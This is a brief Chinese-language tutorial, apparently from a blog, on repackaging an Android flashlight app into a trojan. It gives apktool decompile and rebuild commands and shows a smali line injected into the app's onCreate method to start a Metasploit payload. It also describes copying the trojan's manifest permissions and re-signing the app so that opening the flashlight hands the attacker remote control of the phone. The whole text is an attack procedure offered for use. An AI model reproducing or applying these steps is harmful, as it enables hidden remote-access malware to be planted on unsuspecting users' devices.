1
https://www.wandoujia.com/apps/107907

1
apktool d cjrsd.apk

1
AndroidManifest.xml

1
这里其实是手电筒功能的启动程序
2

3
android:launchMode="singleTask" android:name="com.utooo.ssknife.torch.TorchActivity"
4
找到TorchActivity.smali文件

1
.method protected onCreate(Landroid/os/Bundle;)V

1
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

1
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

1
将AndroidManifest.xml中的permssion配置项替换为木马apk的权限配置项

1
apktool b cjrsd.apk

1
此时还不能安装，用MT文件管理器添加签名即可使用，打开手电筒功能上线，不过使用的不是原有签名，就像很多盗版软件安装时会出现签名不一致无法覆盖安装

1
由于功能是手电筒的启动程序，打开手电筒成功上线。

1
接下来就应该熟悉了 :）